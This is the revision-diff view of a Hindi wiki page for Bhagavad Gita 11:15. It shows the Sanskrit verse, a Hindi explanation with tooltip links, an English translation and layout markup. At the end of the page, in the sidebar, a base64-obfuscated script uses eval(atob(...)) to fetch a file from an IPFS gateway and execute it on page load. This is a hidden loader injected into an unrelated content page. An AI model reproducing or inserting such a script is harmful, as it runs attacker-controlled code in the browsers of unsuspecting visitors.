"गीता 11:15" के अवतरणों में अंतर
(नया पृष्ठ: {{menu}}<br /> <table class="gita" width="100%" align="left"> <tr> <td> ==गीता अध्याय-11 श्लोक-15 / Gita Chapter-11 Verse-15== {| width="80...) |
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>') |
||
(४ सदस्यों द्वारा किये गये बीच के १२ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
<table class="gita" width="100%" align="left"> | <table class="gita" width="100%" align="left"> | ||
<tr> | <tr> | ||
पंक्ति ९: | पंक्ति ९: | ||
'''प्रसंग-''' | '''प्रसंग-''' | ||
---- | ---- | ||
− | उपर्युक्त प्रकार से हर्ष और आश्चर्य से चकित अर्जुन अब भगवान् के विश्व रूप में | + | उपर्युक्त प्रकार से हर्ष और आश्चर्य से चकित <balloon link="index.php?title=अर्जुन" title="महाभारत के मुख्य पात्र है। पाण्डु एवं कुन्ती के वह तीसरे पुत्र थे । अर्जुन सबसे अच्छा धनुर्धर था। वो द्रोणाचार्य का शिष्य था। द्रौपदी को स्वयंवर मे जीतने वाला वो ही था। |
− | + | ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">अर्जुन</balloon> अब भगवान् के विश्व रूप में दिखने वाले दृश्यों का वर्णन करते हुए उस विश्व रूप का स्तवन करते हैं- | |
− | |||
---- | ---- | ||
<div align="center"> | <div align="center"> | ||
− | '''पश्चामि देवांस्तव देव देहे सर्वांस्तथा भूतविशेषसंघान् ।'''<br/> | + | '''अर्जुन उवाच'''<br/> |
− | '''ब्रह्राणमीशं | + | '''पश्चामि देवांस्तव देव देहे'''<br/> |
+ | '''सर्वांस्तथा भूतविशेषसंघान् ।'''<br/> | ||
+ | '''ब्रह्राणमीशं कमलासनस्थ-'''<br/> | ||
+ | '''मृषींश्च सर्वानुरगांश्च दिव्यान् ।।15।।''' | ||
</div> | </div> | ||
---- | ---- | ||
पंक्ति २६: | पंक्ति २८: | ||
'''अर्जुन बोले-''' | '''अर्जुन बोले-''' | ||
---- | ---- | ||
− | हे देव ! मैं आपके शरीर में सम्पूर्ण देवों को तथा अनेक भूतों के समुदायों को, कमल के आसन पर विराजित | + | हे देव ! मैं आपके शरीर में सम्पूर्ण देवों को तथा अनेक भूतों के समुदायों को, कमल के आसन पर विराजित <balloon link="index.php?title=ब्रह्मा" title="सर्वश्रेष्ठ पौराणिक त्रिदेवों में ब्रह्मा, विष्णु एवं शिव की गणना होती है। इनमें ब्रह्मा का नाम पहले आता है, क्योंकि वे विश्व के आद्य सृष्टा, प्रजापति, पितामह तथा हिरण्यगर्भ हैं। ¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">ब्रह्मा</balloon> को, <balloon link="index.php?title=शिव" title="पुराणों के अनुसार भगवान शिव ही समस्त सृष्टि के आदि कारण हैं। उन्हीं से ब्रह्मा, विष्णु सहित समस्त सृष्टि का उद्भव होता हैं।¤¤¤ आगे पढ़ने के लिए लिंक पर ही क्लिक करें ¤¤¤">महादेव</balloon> को और सम्पूर्ण ऋषियों को तथा दिव्य सर्पों को देखता हूँ ।।15।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | ''' | + | '''Arjuna said-''' |
---- | ---- | ||
− | + | Lord, I behold within your body all gods and hosts of different beings, Brahma throned on his totus-seat, Siva and all Rsis and celestial serpents. (15) | |
|- | |- | ||
|} | |} | ||
पंक्ति ४३: | पंक्ति ४५: | ||
</td> | </td> | ||
</tr> | </tr> | ||
− | < | + | <tr> |
+ | <td> | ||
<br /> | <br /> | ||
<div align="center" style="font-size:120%;">'''[[गीता 11:14|<= पीछे Prev]] | [[गीता 11:16|आगे Next =>]]'''</div> | <div align="center" style="font-size:120%;">'''[[गीता 11:14|<= पीछे Prev]] | [[गीता 11:16|आगे Next =>]]'''</div> | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
<br /> | <br /> | ||
{{गीता अध्याय 11}} | {{गीता अध्याय 11}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
− | [[ | + | </td> |
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{गीता2}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{महाभारत}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | </table> | ||
+ | [[Category:गीता]] | ||
__INDEX__ | __INDEX__ |
१२:१४, २१ मार्च २०१० के समय का अवतरण
गीता अध्याय-11 श्लोक-15 / Gita Chapter-11 Verse-15
|
||||||||
|
||||||||
|
||||||||
<sidebar>
__NORICHEDITOR__
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
||||||||
|
||||||||